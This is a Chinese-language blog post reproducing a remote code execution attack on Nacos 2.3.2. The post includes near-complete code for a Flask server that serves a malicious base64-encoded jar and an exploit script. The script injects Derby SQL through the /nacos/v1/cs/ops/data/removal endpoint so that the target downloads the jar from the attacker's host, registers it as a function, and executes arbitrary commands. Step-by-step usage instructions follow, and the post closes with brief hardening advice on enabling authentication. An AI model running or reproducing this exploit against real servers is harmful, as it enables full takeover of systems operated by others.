当前位置: 首页 > article >正文

Nacos rce-0day漏洞复现(nacos 2.3.2)

Nacos rce-0day漏洞复现(nacos 2.3.2)

NACOS是 一个开源的服务发现、配置管理和服务治理平台,属于阿里巴巴的一款开源产品。影像版本:nacos2.3.2或2.4.0版本指纹:fofa:app=“NACOS”

在这里插入图片描述

从 Github 官方介绍文档可以看出国内不少大企业都在使用该系统,而从 issue 中也可以看出其 CVE 漏洞多且利用难度较低

Nacos系统历史CVE漏洞

1、CVE-2021-29441认证绕过
2、QVD-2023-6271默认密钥
3、CNVD-2020-67618 SQL注入
4、CNVD-2023-45001反序列化

搭建Nacos 2.3.2 环境

下载地址:https://github.com/alibaba/nacos/releases

在这里插入图片描述

1、解压nacos文件

在这里插入图片描述

2、创建nacos数据库

在这里插入图片描述

执行mysql-schema.sql文件
在这里插入图片描述

3、配置数据源nacos/conf/application.properties

在这里插入图片描述

4、配置startup.cmd

在这里插入图片描述

5、启动Nacos在bin目录下打开cmd,输入startup.cmd -m standalone启动

在这里插入图片描述

访问http://localhost:8848/nacos
在这里插入图片描述

漏洞分析

漏洞描述

RCE(Remote Code Execution,远程代码执行)漏洞是指攻击者能够在远程服务器上执行任意代码的安全漏洞。此类漏洞通常会让攻击者完全控制受影响的系统,导致严重的安全问题。

漏洞的核心在于 Nacos 的某些接口没有严格的权限控制,攻击者可以通过特制的请求向 Nacos 服务器发送恶意数据,从而执行任意代码。需要登录到后台才能利用漏洞涉及到 Nacos 在处理反序列化数据时的缺陷,攻击者能够通过特定的 JSON 数据结构,远程执行恶意代码。以利用该漏洞读取敏感文件、执行系统命令。

poc

在Github上已删除
在这里插入图片描述

代码分析—service.py

Flask应用程序提供了一个简单的文件下载服务。用户访问 /download 路由时,服务器会返回一个解码后的二进制文件。这个文件最初是通过Base64编码存储在 payload 变量中的。应用程序的主机和端口信息从 config.py 模块中读取
在这里插入图片描述

#定义一个路由 /download,当用户访问这个URL时,调用 download_file 函数,请求download接口就会返回jar的内容
@app.route(‘/download’)
def download_file():
#将Base64编码的payload 解码为二进制数据。
data = base64.b64decode(payload)
#创建一个HTTP响应对象,包含解码后的数据,并 设置MIME类型为 application/octet-stream(表示二进制文件)。
response = Response(data, mimetype=“application/octet-stream”)
#可以设置响应头,指示浏览器将内容作为附件下载,并指定文件名(这里被注释掉了)。
# response.headers[“Content-Disposition”] = “attachment; filename=file.bin”
#返回响应对象。
return response

代码分析—exploit.py

exploit.py会连接Nacos,然后请求Nacos的参数中注入了连接service.py的IP、端口,以及需要RCE的指令。请求到达nacos之后,利用deby数据库的漏洞,恶意请求service.py服务的接口,加载jar包内容。然后再输入RCE指令给jar包,运行这个命令。

在这里插入图片描述

#按装订区域中的绿色按钮以运行脚本

def exploit(target, command, service, args):
#构建用于发送请求的URL
removal_url = urljoin(target, ‘/nacos/v1/cs/ops/data/removal’)
derby_url = urljoin(target, ‘/nacos/v1/cs/ops/derby’)
print(“正在进行碰撞,请耐心等待!!”)
#循环----直到成功利用漏洞
for i in range(0, sys.maxsize):
#id:生成一个随机字符串,用于标识SQL注入的payload
id = ‘’.join(random.sample(‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ’, 8))
#post_sql:构建SQL注入的payload,安装一个恶意的Java函数
post_sql = “”“CALL sqlj.install_jar(‘{service}’, ‘NACOS.{id}’, 0)\n
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY(‘derby.database.classpath’,‘NACOS.{id}’)\n
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME ‘test.poc.Example.exec’\n”“”.format(id=id, service=service);
#option_sql:构建SQL语句,利用恶意函数执行命令
option_sql = “UPDATE ROLES SET ROLE=‘1’ WHERE ROLE=‘1’ AND ROLE=S_EXAMPLE_{id}(‘{cmd}’)\n”.format(id=id, cmd=command);
#get_sql:构建SQL查询,执行命令并获取结果 get_sql = “select * from (select count(*) as b, S_EXAMPLE_{id}(‘{cmd}’) as a from config_info) tmp /ROWS FETCH NEXT/”.format(id=id, cmd=command);
# get_sql = “select * from users /ROWS FETCH NEXT/”.format(id=id,cmd=command);
files = {‘file’: post_sql}
#requests.post:发送POST请求,上传恶意SQL
#requests.get:发送GET请求,执行命令并获取结果。
post_resp = requests.post(url=removal_url, files=files, verify=False, headers=header, timeout=5)
post_json = post_resp.json()
if args.url:
print(post_json)
if (post_json[‘code’] == 404 or post_json[‘code’] == 403) and “File” not in post_json[‘message’]:
print(Fore.YELLOW + f"[-] {target} 可能不存在Nacos_Rce漏洞\n" + Fore.RESET)
break
if post_json.get(‘message’, None) is None and post_json.get(‘data’, None) is not None:
print(post_resp.text)
get_resp = requests.get(url=derby_url, params={‘sql’: get_sql}, verify=False, headers=header,
timeout=5)
print(Fore.RED + f"\n[+] {target} 存在Nacos_Rce漏洞,执行命令:{command}" + Fore.RESET)
print(Fore.RED + f"[+] 返回的结果如下: {get_resp.text}" + Fore.RESET)
break

if name == ‘main’:
#service:构建下载恶意Jar文件的URL。
service = ‘http://{host}:{port}/download’.format(host=config.server_host, port=config.server_port)
#target 和 command:从用户输入获取目标URL和要执行的命令。
target = ‘http://127.0.0.1:8848’
command = ‘calc’
target = input(‘请输入目录URL,默认:http://127.0.0.1:8848:’) or target
command = input(‘请输入命令,默认:calc:’) or command
#exploit:调用漏洞利用函数。
exploit(target=target, command=command, service=service)

漏洞复现

第一步:安装依赖requests和flask在这里插入图片描述

第二步:配置config.py中的ip和端口,需要安装依赖
在这里插入图片描述

第三步;启动恶意服务端:python server.py,把上面的恶意类通过b64压缩处理,加载在fask服务端当作服务器资源
在这里插入图片描述
第四步:执行exploit.py,输入命令即可执行.默认执行calc
在这里插入图片描述

安全加固建议

  • 对于使用单机模式的用户,Nacos社区建议开启鉴权机制以增强安全性。这可以通过设置相关配置实现,确保他人无法滥用接口。
  • 在文件application.properties开启鉴权

开启鉴权之前
在这里插入图片描述

开启鉴权之后
在这里插入图片描述


http://www.kler.cn/a/304336.html

相关文章:

  • LLM漫谈(八)| OpenAI 12天直播集锦
  • 五十六:Stream的状态变迁
  • 软考和 PMP 哪个含金量更高点?
  • Leecode刷题C语言之字符串及其反转中是否存在同一子字符串
  • 图神经网络_图嵌入_SDNE
  • RAG实战:构建基于本地大模型的智能问答系统
  • 如何准备技术面试?
  • 利用AI驱动智能BI数据可视化-深度评测Amazon Quicksight(二)
  • Stream流的思想和获取Stream流
  • 设计模式重新整理
  • 中秋出游热度十足!喆啡酒店如何巧妙捕捉多元旅游需求?
  • 遥感技术在生态系统碳储量、碳收支、碳排放、碳循环以及人为源排放反演等领域的技术发展,实践角度解决遥感技术在生态、能源、大气等领域的碳排放监测及模拟问题
  • C++ | Leetcode C++题解之第397题整数替换
  • Coggle数据科学 | 科大讯飞AI大赛:人岗匹配挑战赛 赛季3
  • 怎么将几个pdf合成为一个?把几个PDF合并成为一个的8种方法
  • opencv图像透视处理
  • 机器学习(西瓜书)第 6 章 支持向量机
  • Jupyter notebook配置与使用(安装过程+环境配置+运行实例)
  • redis基本数据结构-string
  • 关于OceanBase 多模一体化的浅析
  • 探索螺钉设计:部分螺纹与全螺纹,哪种更适合你的项目?
  • 学习笔记 韩顺平 零基础30天学会Java(2024.9.14)
  • HashMap在并发场景下的问题
  • hku-mars雷达相机时间同步方案-硬件(MID360与海康MV-CB060-10UMUC-S)
  • Spring-cloud-gateway报错问题总结
  • 卷轴模式系统中的任务起源探索与趣味性设计策略分析